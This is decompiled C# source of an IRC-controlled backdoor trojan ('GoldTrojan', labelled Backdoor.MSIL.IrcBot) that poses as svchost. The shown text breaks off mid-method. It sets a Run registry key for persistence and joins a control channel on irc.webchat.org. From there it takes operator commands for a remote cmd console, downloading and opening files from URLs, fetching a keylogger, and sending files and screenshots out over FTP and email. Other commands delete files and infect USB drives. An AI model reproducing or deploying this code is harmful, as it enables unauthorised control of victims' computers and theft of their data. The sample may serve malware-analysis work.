// Decompiled with JetBrains decompiler
// Type: GoldTrojan.Form1
// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe

using Dolinay;
using Meebey.SmartIrc4net;
using Microsoft.Win32;
using System;
using System.Collections;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
using System.Management;
using System.Net;
using System.Net.Mail;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Timers;
using System.Windows.Forms;

namespace GoldTrojan
{
  public class Form1 : Form
  {
    private const int SPI_SETDESKWALLPAPER = 20;
    private const int SPIF_UPDATEINIFILE = 1;
    private const int SPIF_SENDWININICHANGE = 2;
    private string kom = "";
    private string wiad = "";
    private string foldergames = Environment.GetFolderPath(Environment.SpecialFolder.Personal) + "\\gammess";
    private string folderbs = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\BlueSoft";
    private string mdgm = nameof (mdgm);
    private string adbs = nameof (adbs);
    private System.Timers.Timer tm = new System.Timers.Timer();
    private System.Timers.Timer stt = new System.Timers.Timer();
    private bool polaczony;
    private Hashtable _sessions = new Hashtable();
    public Hashtable treeViewForms = new Hashtable();
    public IrcFeatures irc;
    private int k;
    private int lu;
    private string[] lcu = new string[200];
    private string wer = "3.2d";
    private string chk;
    private bool wyslaniepliku;
    private bool sprproc;
    private Chat ch;
    private string rt = "";
    private Channel _channel;
    private IContainer components;

    public Form1()
    {
      if (this.SprawdzRejestr())
      {
        this.InitializeComponent();
        this.ShowInTaskbar = false;
        this.FormBorderStyle = FormBorderStyle.SizableToolWindow;
        new DriveDetector().DeviceArrived += new DriveDetectorEventHandler(this.NowyDysk);
        Thread.Sleep(10000);
        this.tm.Interval = 10000.0;
        this.tm.Elapsed += new ElapsedEventHandler(this.tm_Elapsed);
        this.tm.Enabled = true;
        this.AktualizujAuto();
        this.Blokowanie();
      }
      else
      {
        try
        {
          Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\BlueSoft", "knp", (object) "true");
        }
        catch
        {
        }
        Process.GetCurrentProcess().Kill();
      }
    }

    private bool SprawdzRejestr()
    {
      string str1 = "Run";
      string str2 = "HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\";
      string str3 = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\";
      try
      {
        try
        {
          Registry.SetValue(str3 + str1, "svhost", (object) Application.ExecutablePath);
        }
        catch
        {
        }
        try
        {
          Registry.SetValue(str2 + str1, "svhost", (object) "");
        }
        catch
        {
        }
      }
      catch
      {
      }
      if (Registry.GetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\asd", "svchost", (object) "").ToString() == "")
        return true;
      RegistryKey subKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\asd");
      subKey.DeleteValue("svchost");
      subKey.Close();
      return false;
    }

    private void tm_Elapsed(object sender, ElapsedEventArgs e)
    {
      if (!this.polaczony)
      {
        this.asd();
      }
      else
      {
        if (this.irc.IsConnected)
          return;
        this.asd();
      }
    }

    private void asd()
    {
      this.polaczony = true;
      this.irc = new IrcFeatures();
      this.irc.SendDelay = 200;
      this.irc.ActiveChannelSyncing = true;
      this.irc.PingTimeout = 120000;
      this.irc.AutoReconnect = true;
      this.irc.AutoRejoin = true;
      this.irc.AutoRejoinOnKick = true;
      this.lacz();
      this.ZbierzDane();
    }

    public void lacz()
    {
      if (this.irc.IsConnected)
        return;
      string str1 = Convert.ToString(new Random().Next(0, 20000));
      string[] strArray = "irc.webchat.org".Split(':');
      string address = strArray[0];
      int port = strArray.Length <= 1 ? 6667 : int.Parse(strArray[1]);
      string realname = "asd" + str1;
      string str2 = "x" + Environment.UserName + str1;
      string password = "";
      string str3 = str2;
      char[] charArray = str3.ToCharArray();
      for (int index = 0; index < charArray.Length; ++index)
      {
        switch (charArray[index])
        {
          case 'Ó':
            charArray[index] = 'O';
            break;
          case 'ó':
            charArray[index] = 'o';
            break;
          case 'Ą':
            charArray[index] = 'A';
            break;
          case 'ą':
            charArray[index] = 'a';
            break;
          case 'Ć':
            charArray[index] = 'C';
            break;
          case 'ć':
            charArray[index] = 'c';
            break;
          case 'Ę':
            charArray[index] = 'E';
            break;
          case 'ę':
            charArray[index] = 'e';
            break;
          case 'Ł':
            charArray[index] = 'L';
            break;
          case 'ł':
            charArray[index] = 'l';
            break;
          case 'Ń':
            charArray[index] = 'N';
            break;
          case 'ń':
            charArray[index] = 'n';
            break;
          case 'Ś':
            charArray[index] = 'S';
            break;
          case 'ś':
            charArray[index] = 's';
            break;
          case 'Ź':
            charArray[index] = 'Z';
            break;
          case 'ź':
            charArray[index] = 'z';
            break;
          case 'Ż':
            charArray[index] = 'Z';
            break;
          case 'ż':
            charArray[index] = 'z';
            break;
        }
        str3 = new string(charArray);
      }
      string str4 = str3;
      try
      {
        this.irc.Connect(address, port);
      }
      catch (ConnectionException ex)
      {
      }
      this.irc.Login(str4, realname, 0, str4, password);
      new Form1.ircListener(((IrcConnection) this.irc).Listen).BeginInvoke((AsyncCallback) null, (object) null);
      if (!this.irc.IsConnected)
        return;
      this.debug();
    }

    private void debug()
    {
      if (!this.irc.IsConnected)
        return;
      this.irc.WriteLine("join #jaknie5 gd201132");
      this.irc.WriteLine("join #" + this.irc.Nickname);
      this.kanal();
    }

    private void kanal()
    {
      this.irc.OnChannelMessage += new IrcEventHandler(this.Wiadomosc);
      this.irc.OnQuit += new QuitEventHandler(this.irc_OnQuit);
      this.irc.OnJoin += new JoinEventHandler(this.irc_OnJoin);
      this.irc.OnPart += new PartEventHandler(this.irc_OnPart);
      this.irc.OnKick += new KickEventHandler(this.irc_OnKick);
    }

    private void Wiadomosc(object sender, IrcEventArgs e)
    {
      if (e.Data.Channel == "#jaknie5")
      {
        try
        {
          DateTime now = DateTime.Now;
          int hour = now.Hour;
          int minute = now.Minute;
          string str = "[" + Convert.ToString(hour) + ":" + Convert.ToString(minute) + "]";
          Form1 form1 = this;
          form1.wiad = form1.wiad + e.Data.Nick + ": " + str + Environment.NewLine + e.Data.Message + Environment.NewLine;
        }
        catch
        {
        }
        this.kom = e.Data.Message;
        if (this.SprCzyOP(e.Data.Nick) && this.kom.Contains("irc"))
          this.Polecenia();
        if (this.SprCzyVoice(e.Data.Nick) && this.kom.Contains("irc"))
          this.PoleceniaVoice();
      }
      if (!(e.Data.Channel == "#" + this.irc.Nickname))
        return;
      try
      {
        DateTime now = DateTime.Now;
        int hour = now.Hour;
        int minute = now.Minute;
        string str = "[" + Convert.ToString(hour) + ":" + Convert.ToString(minute) + "]";
        Form1 form1 = this;
        form1.wiad = form1.wiad + e.Data.Nick + ": " + str + Environment.NewLine + e.Data.Message + Environment.NewLine;
      }
      catch
      {
      }
      this.kom = e.Data.Message;
      if (this.SprCzyOP(e.Data.Nick))
      {
        this.kom.Contains("irc");
        this.Polecenia();
      }
      if (!this.SprCzyVoice(e.Data.Nick) || !this.kom.Contains("irc"))
        return;
      this.PoleceniaVoice();
    }

    private void irc_OnQuit(object sender, QuitEventArgs e)
    {
      this.OPZarzadzaj();
      Form1 form1 = this;
      form1.wiad = form1.wiad + e.Who + " opuścił kanał" + Environment.NewLine;
    }

    private void irc_OnJoin(object sender, JoinEventArgs e)
    {
      if (this.irc.IsMe(e.Who))
      {
        Form1 form1 = this;
        form1.wiad = form1.wiad + "Dołączyłeś do kanału" + Environment.NewLine;
      }
      else
      {
        Form1 form1 = this;
        form1.wiad = form1.wiad + e.Who + " dołączył do kanału" + Environment.NewLine;
      }
    }

    private void irc_OnPart(object sender, PartEventArgs e)
    {
      Form1 form1 = this;
      form1.wiad = form1.wiad + e.Who + " opuścił kanał" + Environment.NewLine;
    }

    private void irc_OnKick(object sender, KickEventArgs e)
    {
      if (this.irc.IsMe(e.Whom))
      {
        Form1 form1 = this;
        form1.wiad = form1.wiad + "Zostałeś wyrzucony z tego kanału" + Environment.NewLine;
      }
      else
      {
        Form1 form1 = this;
        form1.wiad = form1.wiad + e.Whom + " został wyrzucony z tego kanału przez " + e.Who + " za " + e.KickReason + Environment.NewLine;
      }
    }

    private void Polecenia()
    {
      int num = 0;
      string str1 = "wyjedz";
      string str2 = "wjedz";
      string str3 = "wyjwje";
      string str4 = "pobierz";
      string str5 = "otworz";
      string str6 = "wersja";
      string str7 = "pomoc";
      string str8 = "informacje";
      string str9 = "konsola";
      string str10 = "lista procesow";
      string str11 = "zabij";
      string str12 = "zabid";
      string str13 = "komunikat";
      string str14 = "pomkom";
      string str15 = "wylacz";
      string str16 = "wyloguj";
      string str17 = "wylogowac";
      string str18 = "restart";
      string str19 = "hibernacja";
      string str20 = "pobudka";
      string str21 = "sprawdz startup";
      string str22 = "chat";
      string str23 = "ww";
      string str24 = "chu";
      string str25 = "swi";
      string str26 = "zrobssf";
      string str27 = "wyswietl pliki";
      string str28 = "ftp pliki";
      string str29 = "ftp foldery";
      string str30 = "ftp drzewo";
      string str31 = "ftp wyslij";
      string str32 = "usun plik";
      string str33 = "usun folder";
      string str34 = "sprawdz proces";
      string str35 = "sciagnij keyloggera";
      string str36 = "mail folplik";
      string str37 = "mail wyslij";
      string str38 = "wyswietl foldery";
      string str39 = "mail pliki";
      string str40 = "mail foldery";
      string str41 = "mail drzewo";
      string str42 = "zrobssm";
      string str43 = "logi";
      string str44 = "aktualizuj";
      string str45 = "wyczysc";
      string str46 = "zmien tapete";
      string str47 = "blokuj";
      string str48 = "infekuj";
      string str49 = "ustawienia";
      string str50 = "rejestr";
      if (this.kom.Contains(str1))
        num = 1;
      if (this.kom.Contains(str2))
        num = 2;
      if (this.kom.Contains(str3))
        num = 3;
      if (this.kom.Contains(str4))
        num = 4;
      if (this.kom.Contains(str5))
        num = 5;
      if (this.kom.Contains(str6))
        num = 6;
      if (this.kom.Contains(str7))
        num = 7;
      if (this.kom.Contains(str8))
        num = 8;
      if (this.kom.Contains(str9))
        num = 9;
      if (this.kom.Contains(str10))
        num = 10;
      if (this.kom.Contains(str11))
        num = 11;
      if (this.kom.Contains(str12))
        num = 12;
      if (this.kom.Contains(str13))
        num = 13;
      if (this.kom.Contains(str14))
        num = 14;
      if (this.kom.Contains(str15))
        num = 15;
      if (this.kom.Contains(str16))
        num = 16;
      if (this.kom.Contains(str17))
        num = 17;
      if (this.kom.Contains(str18))
        num = 18;
      if (this.kom.Contains(str19))
        num = 19;
      if (this.kom.Contains(str20))
        num = 20;
      if (this.kom.Contains(str21))
        num = 21;
      if (this.kom.Contains(str22))
        num = 22;
      if (this.kom.Contains(str23))
        num = 23;
      if (this.kom.Contains(str24))
        num = 24;
      if (this.kom.Contains(str25))
        num = 25;
      if (this.kom.Contains(str26))
        num = 26;
      if (this.kom.Contains(str27))
        num = 27;
      if (this.kom.Contains(str28))
        num = 28;
      if (this.kom.Contains(str29))
        num = 29;
      if (this.kom.Contains(str30))
        num = 30;
      if (this.kom.Contains(str31))
        num = 31;
      if (this.kom.Contains(str32))
        num = 32;
      if (this.kom.Contains(str33))
        num = 33;
      if (this.kom.Contains(str34))
        num = 34;
      if (this.kom.Contains(str35))
        num = 35;
      if (this.kom.Contains(str36))
        num = 36;
      if (this.kom.Contains(str37))
        num = 37;
      if (this.kom.Contains(str38))
        num = 38;
      if (this.kom.Contains(str39))
        num = 39;
      if (this.kom.Contains(str40))
        num = 40;
      if (this.kom.Contains(str41))
        num = 41;
      if (this.kom.Contains(str42))
        num = 42;
      if (this.kom.Contains(str43))
        num = 43;
      if (this.kom.Contains(str44))
        num = 44;
      if (this.kom.Contains(str45))
        num = 45;
      if (this.kom.Contains(str46))
        num = 46;
      if (this.kom.Contains(str47))
        num = 47;
      if (this.kom.Contains(str48))
        num = 48;
      if (this.kom.Contains(str49))
        num = 49;
      if (this.kom.Contains(str50))
        num = 50;
      switch (num)
      {
        case 1:
          this.Wysuwanie();
          break;
        case 2:
          this.Wsuwanie();
          break;
        case 3:
          this.wyswsu();
          break;
        case 4:
          this.Pobierz();
          break;
        case 5:
          this.Otworz();
          break;
        case 6:
          this.Wersja();
          break;
        case 7:
          this.Pomoc();
          break;
        case 8:
          this.Informacje();
          break;
        case 9:
          this.Konsola();
          break;
        case 10:
          this.Procesy();
          break;
        case 11:
          this.ZabijProces();
          break;
        case 12:
          this.ZabijIDProces();
          break;
        case 13:
          this.Komunikaty();
          break;
        case 14:
          this.PomocKomunikaty();
          break;
        case 15:
          this.wylacz();
          break;
        case 16:
          this.wyloguj();
          break;
        case 17:
          this.wyloguj2();
          break;
        case 18:
          this.restart();
          break;
        case 19:
          this.hibernacja();
          break;
        case 20:
          this.pobudka();
          break;
        case 21:
          this.PobierzStartup();
          break;
        case 22:
          this.PokazChat();
          break;
        case 23:
          this.WyslijWiadomosc();
          break;
        case 24:
          this.SchowajChat();
          break;
        case 25:
          this.OdbierzWiadomosc();
          break;
        case 26:
          this.ftpZrobSS();
          break;
        case 27:
          this.SprawdzPliki();
          break;
        case 28:
          this.ftpWyswietlPliki();
          break;
        case 29:
          this.ftpWyswietlKatalogi();
          break;
        case 30:
          this.ftpWyswietlDrzewo();
          break;
        case 31:
          this.ftpWyslijPliki();
          break;
        case 32:
          this.UsunPlik();
          break;
        case 33:
          this.UsunFolder();
          break;
        case 34:
          this.SprawdzProces();
          break;
        case 35:
          this.PobierzKeyloggera();
          break;
        case 36:
          this.mailWyslijFolder();
          break;
        case 37:
          this.mailWyslijPlik();
          break;
        case 38:
          this.SprawdzFoldery();
          break;
        case 39:
          this.mailWyswietlPliki();
          break;
        case 40:
          this.mailWyswietlKatalogi();
          break;
        case 41:
          this.mailWyswietlDrzewo();
          break;
        case 42:
          this.mailZrobSS();
          break;
        case 43:
          this.Logi();
          break;
        case 44:
          this.Aktualizuj();
          break;
        case 45:
          this.Czyszczenie();
          break;
        case 46:
          this.ZmienTapete();
          break;
        case 47:
          this.Blokowanie();
          break;
        case 48:
          this.InfekujPendrive();
          break;
        case 49:
          this.UstawieniaRejestru();
          break;
        case 50:
          this.Rejestr();
          break;
        default:
          this.irc.SendMessage(SendType.Message, "#jaknie5", "-.-");
          break;
      }
    }

    private void PoleceniaVoice()
    {
      int num = 0;
      string str1 = "pobierz";
      string str2 = "otworz";
      string str3 = "wersja";
      string str4 = "pomoc";
      string str5 = "informacje";
      string str6 = "konsola";
      string str7 = "lista procesow";
      string str8 = "zabid";
      string str9 = "komunikat";
      string str10 = "pomkom";
      string str11 = "sprawdz startup";
      string str12 = "zrobssf";
      string str13 = "wyswietl pliki";
      string str14 = "ftp pliki";
      string str15 = "ftp foldery";
      string str16 = "ftp drzewo";
      string str17 = "ftp wyslij";
      string str18 = "usun plik";
      string str19 = "usun folder";
      string str20 = "sprawdz proces";
      string str21 = "sciagnij keyloggera";
      string str22 = "mail folplik";
      string str23 = "mail wyslij";
      string str24 = "wyswietl foldery";
      string str25 = "mail pliki";
      string str26 = "mail foldery";
      string str27 = "mail drzewo";
      string str28 = "zrobssm";
      string str29 = "logi";
      string str30 = "aktualizuj";
      string str31 = "wyczysc";
      if (this.kom.Contains(str1))
        num = 1;
      if (this.kom.Contains(str2))
        num = 2;
      if (this.kom.Contains(str3))
        num = 3;
      if (this.kom.Contains(str4))
        num = 4;
      if (this.kom.Contains(str5))
        num = 5;
      if (this.kom.Contains(str6))
        num = 6;
      if (this.kom.Contains(str7))
        num = 7;
      if (this.kom.Contains(str8))
        num = 8;
      if (this.kom.Contains(str9))
        num = 9;
      if (this.kom.Contains(str10))
        num = 10;
      if (this.kom.Contains(str11))
        num = 11;
      if (this.kom.Contains(str12))
        num = 12;
      if (this.kom.Contains(str13))
        num = 13;
      if (this.kom.Contains(str14))
        num = 14;
      if (this.kom.Contains(str15))
        num = 15;
      if (this.kom.Contains(str16))
        num = 16;
      if (this.kom.Contains(str17))
        num = 17;
      if (this.kom.Contains(str18))
        num = 18;
      if (this.kom.Contains(str19))
        num = 19;
      if (this.kom.Contains(str20))
        num = 20;
      if (this.kom.Contains(str21))
        num = 21;
      if (this.kom.Contains(str22))
        num = 22;
      if (this.kom.Contains(str23))
        num = 23;
      if (this.kom.Contains(str24))
        num = 24;
      if (this.kom.Contains(str25))
        num = 25;
      if (this.kom.Contains(str26))
        num = 26;
      if (this.kom.Contains(str27))
        num = 27;
      if (this.kom.Contains(str28))
        num = 28;
      if (this.kom.Contains(str29))
        num = 29;
      if (this.kom.Contains(str30))
        num = 30;
      if (this.kom.Contains(str31))
        num = 31;
      switch (num)
      {
        case 1:
          this.Pobierz();
          break;
        case 2:
          this.Otworz();
          break;
        case 3:
          this.Wersja();
          break;
        case 4:
          this.PomocVoice();
          break;
        case 5:
          this.Informacje();
          break;
        case 6:
          this.Konsola();
          break;
        case 7:
          this.Procesy();
          break;
        case 8:
          this.ZabijIDProces();
          break;
        case 9:
          this.Komunikaty();
          break;
        case 10:
          this.PomocKomunikaty();
          break;
        case 11:
          this.PobierzStartup();
          break;
        case 12:
          this.ftpZrobSS();
          break;
        case 13:
          this.SprawdzPliki();
          break;
        case 14:
          this.ftpWyswietlPliki();
          break;
        case 15:
          this.ftpWyswietlKatalogi();
          break;
        case 16:
          this.ftpWyswietlDrzewo();
          break;
        case 17:
          this.ftpWyslijPliki();
          break;
        case 18:
          this.UsunPlik();
          break;
        case 19:
          this.UsunFolder();
          break;
        case 20:
          this.SprawdzProces();
          break;
        case 21:
          this.PobierzKeyloggera();
          break;
        case 22:
          this.mailWyslijFolder();
          break;
        case 23:
          this.mailWyslijPlik();
          break;
        case 24:
          this.SprawdzFoldery();
          break;
        case 25:
          this.mailWyswietlPliki();
          break;
        case 26:
          this.mailWyswietlKatalogi();
          break;
        case 27:
          this.mailWyswietlDrzewo();
          break;
        case 28:
          this.mailZrobSS();
          break;
        case 29:
          this.Logi();
          break;
        case 30:
          this.Aktualizuj();
          break;
        case 31:
          this.Czyszczenie();
          break;
        default:
          this.irc.SendMessage(SendType.Message, "#jaknie5", "-.-");
          break;
      }
    }

    [DllImport("winmm.dll")]
    public static extern void mciSendStringA(
      string lpstrCommand,
      string lpstrReturnString,
      int uReturnLength,
      int hwndCallback);

    private void OtworzPlik(string sciezka)
    {
      try
      {
        new Process() { StartInfo = { FileName = sciezka } }.Start();
      }
      catch
      {
      }
    }

    private void downloader_DownloadedComplete() => this.irc.SendMessage(SendType.Message, "#jaknie5", "pobrano plik");

    private void Pobierz()
    {
      string destination = "#jaknie5";
      string message = "nie pobrano pliku";
      FileDownloader fileDownloader = new FileDownloader();
      string kom = this.kom;
      try
      {
        string[] strArray1 = kom.Split(' ');
        string[] strArray2 = kom.Split('"');
        string url = strArray1[2];
        string destFolder = !this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray2[1] : this.folderbs) : this.foldergames;
        fileDownloader.Download(url, destFolder);
        this.downloader_DownloadedComplete();
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message);
      }
    }

    private void Wysuwanie()
    {
      Form1.mciSendStringA("set CDAudio door open", this.rt, (int) sbyte.MaxValue, 0);
      this.irc.SendMessage(SendType.Message, "#jaknie5", "wysunieto");
    }

    private void Wsuwanie()
    {
      Form1.mciSendStringA("set CDAudio door closed", this.rt, (int) sbyte.MaxValue, 0);
      this.irc.SendMessage(SendType.Message, "#jaknie5", "wsunieto");
    }

    private void wyswsu()
    {
      string[] strArray = this.kom.Split(' ');
      string str = strArray[1];
      int int32 = Convert.ToInt32(strArray[2]);
      for (int index = 0; index < int32; ++index)
      {
        Form1.mciSendStringA("set CDAudio door open", this.rt, (int) sbyte.MaxValue, 0);
        Form1.mciSendStringA("set CDAudio door closed", this.rt, (int) sbyte.MaxValue, 0);
      }
      this.irc.SendMessage(SendType.Message, "#jaknie5", "wysuwanie i wsuwanie");
    }

    private void Otworz()
    {
      string destination = "#jaknie5";
      string message1 = "otworzono plik";
      string message2 = "nie otworzono pliku";
      string kom = this.kom;
      try
      {
        kom.Split(' ');
        string[] strArray = kom.Split('"');
        this.OtworzPlik(!this.kom.Contains(this.mdgm) ? (!this.kom.Contains(this.adbs) ? strArray[1] : this.folderbs + strArray[1]) : this.foldergames + strArray[1]);
        this.irc.SendMessage(SendType.Message, destination, message1);
      }
      catch
      {
        this.irc.SendMessage(SendType.Message, destination, message2);
      }
    }

    private void Wersja()
    {
      string destination = "#jaknie5";
      string message1 = "GoldTrojan wersja " + this.wer;
      string message2 = "Dodano:";
      string message3 = "-możliwość odczytu i edycji rejestru";
      string message4 = "-zmiane tapety wewnatrz programu";
      string message5 = "Poprawiono:";
      string message6 = "-blokowanie programow";
      string message7 = "-zbieranie danych o komputerach";
      this.irc.SendMessage(SendType.Message, destination, message1);
      this.irc.SendMessage(SendType.Message, destination, message2);
      this.irc.SendMessage(SendType.Message, destination, message3);
      this.irc.SendMessage(SendType.Message, destination, message4);
      this.irc.SendMessage(SendType.Message, destination, message5);
      this.irc.SendMessage(SendType.Message, destination, message6);
      this.irc.SendMessage(SendType.Message, destination, message7);
    }

    private void Pomoc()
    {
      string destination = "#jaknie5";
      string message1 = "GoldTrojan wersja " + this.wer;
      string message2 = "Dostępne komendy:";
      string message3 = "-wyjedz - wysuwanie stacji dysków";
      string message4 = "-wjedz - wsunięcie stacji dysków";
      string message5 = "-wyjwje - wsuwanie i wysuwanie stacji dysków";
      string message6 = "-pobierz [url] [ścieżka] - pobieranie pliku do wybranej lokalizacji na dysku";
      string message7 = "-otworz [sciezka] - otworzenie pliku";
      string message8 = "-wersja - podanie wersji GoldTrojana";
      string message9 = "-pomoc - wyświetlenie dostępnych komend";
      string message10 = "-informacje - wyświetlenie informacji o systemie";
      string message11 = "-konsola [komenda] - dostęp do cmd";
      string message12 = "-lista procesow - wyświetlenie listy procesów";
      string message13 = "-zabij [nazwa procesu] - zabicie podanego procesu";
      string message14 = "-zabid [ID procesu] - zabicie podanego procesu";
      string message15 = "-komunikat [przycisk] [ikona] [treść komunikatu] [tytuł komunikatu] - wyświetla komunikat, -pomkom po więcej informacji";
      string message16 = "-sprawdz startup - wyswietlenie folderu, w którym jest Startup";
      string message17 = "-wylacz, wyloguj, wylogowac, restart, hibernacja, pobudka";
      string message18 = "-chat [kanał] [nazwa serwera] [nazwa klienta] - wyswietlenie czatu, -ww - napisz wiadomosc, -chu - schowaj czat, -swi - odbierz wiadomości";
      string message19 = "-zrobssf - zrobienie zrzutu ekranu";
      string message20 = "-wyswietl pliki [sciezka] - wyświetlenie plików, -wyswietl foldery [ścieżka] - wyswietlenie folderow";
      string message21 = "-ftp pliki [ścieżka] - wysyła drzewo plików na ftp, -ftp foldery - wysyła drzewo folderów na ftp";
      string message22 = "-ftp drzewo - wysyła drzewo folderów i plików na ftp, -ftp wyslij [sciezka] - wysyla plik na ftp";
      string message23 = "-usun plik [sciezka] - usuwa plik, -usun folder [sciezka] - usuwa folder";
      string message24 = "-sprawdz proces [id] - wyswietla informacje o procesie";
      string message25 = "-sciagnij keyloggera [url] - ściąga keyloggera do jednej ze standardowych lokalizacji";
      string message26 = "-mail folplik [ścieżka] - wysyła wszystkie pliki z folderu o podanej ścieżce na maila";
      string message27 = "-mail wyslij  [ścieżka] - wysyła plik o podanej ścieżce na maila";
      string message28 = "-mail pliki [ścieżka] - wysyła drzewo plików na maila, -mail foldery - wysyła drzewo folderów na maila";
      string message29 = "-mail drzewo [ścieżka] - wuysyła drzewo folderów i plików na maila";
      string message30 = "-zrobssm - robi zrzut ekranu i wysyła na maila, -logi - wysyła wiadomości z irca na maila";
      string message31 = "-aktualizuj - aktualizuje program, -wyczysc - czysci dysk z rzutow ekranu itp.";
      string message32 = "-zmien tapete - zmienia tapete, -blokuj - blokowanie programow, -infekuj - infekowanie pendrivów";
      string message33 = "-ustawienia - wypisuje ustawienia GT, -rejestr - odczytuje i zmienia rejestr";
      this.irc.SendMessage(SendType.Message, destination, message1);
      this.irc.SendMessage(SendType.Message, destination, message2);
      this.irc.SendMessage(SendType.Message, destination, message3);
      this.irc.SendMessage(SendType.Message, destination, message4);
      this.irc.SendMessage(SendType.Message, destination, message5);
      this.irc.SendMessage(SendType.Message, destination, message6);
      this.irc.SendMessage(SendType.Message, destination, message7);
      this.irc.SendMessage(SendType.Message, destination, message8);
      this.irc.SendMessage(SendType.Message, destination, message9);
      Thread.Sleep(10000);
      this.irc.SendMessage(SendType.Message, destination, message10);
      this.irc.SendMessage(SendType.Message, destination, message11);
      this.irc.SendMessage(SendType.Message, destination, message12);
      this.irc.SendMessage(SendType.Message, destination, message13);
      this.irc.SendMessage(SendType.Message, destination, message14);
      this.irc.SendMessage(SendType.Message, destination, message15);
      this.irc.SendMessage(SendType.Message, destination, message16);
      this.irc.SendMessage(SendType.Message, destination, message17);
      this.irc.SendMessage(SendType.Message, destination, message18);
      Thread.Sleep(10000);
      this.irc.SendMessage(SendType.Message, destination, message19);
      this.irc.SendMessage(SendType.Message, destination, message20);
      this.irc.SendMessage(SendType.Message, destination, message21);
      this.irc.SendMessage(SendType.Message, destination, message22);
      this.irc.SendMessage(SendType.Message, destination, message23);
      this.irc.SendMessage(SendType.Message, destination, message24);
      this.irc.SendMessage(SendType.Message, destination, message25);
      this.irc.SendMessage(SendType.Message, destination, message26);
      this.irc.SendMessage(SendType.Message, destination, message27);
      Thread.Sleep(10000);
      this.irc.SendMessage(SendType.Message, destination, message28);
      this.irc.SendMessage(SendType.Message, destination, message29);
      this.irc.SendMessage(SendType.Message, destination, message30);
      this.irc.SendMessage(SendType.Message, destination, message31);
      this.irc.SendMessage(SendType.Message, destination, message32);
      this.irc.SendMessage(SendType.Message, destination, message33);
    }

    private void PomocVoice()
    {
      string destination = "#jaknie5";
      string message1 = "GoldTrojan wersja " + this.wer;
      string message2 = "Dostępne komendy:";
      string message3 = "-pobierz [url] [ścieżka] - pobieranie pliku do wybranej lokalizacji na dysku";
      string message4 = "-otworz [sciezka] - otworzenie pliku";
      string message5 = "-wersja - podanie wersji GoldTrojana";
      string message6 = "-pomoc - wyświetlenie dostępnych komend";
      string message7 = "-informacje - wyświetlenie informacji o systemie";
      string message8 = "-konsola [komenda] - dostęp do cmd";
      string message9 = "-lista procesow - wyświetlenie listy procesów";
      string message10 = "-zabid [ID procesu] - zabicie podanego procesu";
      string message11 = "-komunikat [przycisk] [ikona] [treść komunikatu] [tytuł komunikatu] - wyświetla komunikat, -pomkom po więcej informacji";
      string message12 = "-sprawdz startup - wyswietlenie folderu, w którym jest Startup";
      string message13 = "-zrobssf - zrobienie zrzutu ekranu";
      string message14 = "-wyswietl pliki [sciezka] - wyświetlenie plików, -wyswietl foldery [ścieżka] - wyswietlenie folderow";
      string message15 = "-ftp pliki [ścieżka] - wysyła drzewo plików na ftp, -ftp foldery - wysyła drzewo folderów na ftp";
      string message16 = "-ftp drzewo - wysyła drzewo folderów i plików na ftp, -ftp wyslij [sciezka] - wysyla plik na ftp";
      string message17 = "-usun plik [sciezka] - usuwa plik, -usun folder [sciezka] - usuwa folder";
      string message18 = "-sprawdz proces [id] - wyswietla informacje o procesie";
      string message19 = "-sciagnij keyloggera [url] - ściąga keyloggera do jednej ze standardowych lokalizacji";
      string message20 = "-mail folplik [ścieżka] - wysyła wszystkie pliki z folderu o podanej ścieżce na maila";
      string message21 = "-mail wyslij  [ścieżka] - wysyła plik o podanej ścieżce na maila";
      string message22 = "-mail pliki [ścieżka] - wysyła drzewo plików na maila, -mail foldery - wysyła drzewo folderów na maila";
      string message23 = "-mail drzewo [ścieżka] - wuysyła drzewo folderów i plików na maila";
      string message24 = "-zrobssm - robi zrzut ekranu i wysyła na maila, -logi - wysyła wiadomości z irca na maila";
      string message25 = "-aktualizuj - aktualizuje program, -wyczysc - czysci dysk z rzutow ekranu itp.";
      this.irc.SendMessage(SendType.Message, destination, message1);
      this.irc.SendMessage(SendType.Message, destination, message2);
      this.irc.SendMessage(SendType.Message, destination, message3);
      this.irc.SendMessage(SendType.Message, destination, message4);
      this.irc.SendMessage(SendType.Message, destination, message5);
      this.irc.SendMessage(SendType.Message, destination, message6);
      Thread.Sleep(10000);
      this.irc.SendMessage(SendType.Message, destination, message7);
      this.irc.SendMessage(SendType.Message, destination, message8);
      this.irc.SendMessage(SendType.Message, destination, message9);
      this.irc.SendMessage(SendType.Message, destination, message10);
      this.irc.SendMessage(SendType.Message, destination, message11);
      this.irc.SendMessage(SendType.Message, destination, message12);
      Thread.Sleep(10000);
      this.irc.SendMessage(SendType.Message, destination, message13);
      this.irc.SendMessage(SendType.Message, destination, message14);
      this.irc.SendMessage(SendType.Message, destination, message15);
      this.irc.SendMessage(SendType.Message, destination, message16);
      this.irc.SendMessage(SendType.Message, destination, message17);
      Thread.Sleep(10000);
      this.irc.SendMessage(SendType.Message, destination, message18);
      this.irc.SendMessage(SendType.Message, destination, message19);
      this.irc.SendMessage(SendType.Message, destination, message20);
      this.irc.SendMessage(SendType.Message, destination, message21);
      Thread.Sleep(10000);
      this.irc.SendMessage(SendType.Message, destination, message22);
      this.irc.SendMessage(SendType.Message, destination, message23);
      this.irc.SendMessage(SendType.Message, destination, message24);
      this.irc.SendMessage(SendType.Message, destination, message25);
    }

    private void Informacje()
    {
      string destination = "#jaknie5";
      Environment.GetLogicalDrives();
      string str1 = " ";
      string environmentVariable = Environment.GetEnvironmentVariable("windir");
      string userName = Environment.UserName;
      string str2 = Convert.ToString((object) Environment.OSVersion);
      string machineName = Environment.MachineName;
      string systemDirectory = Environment.SystemDirectory;
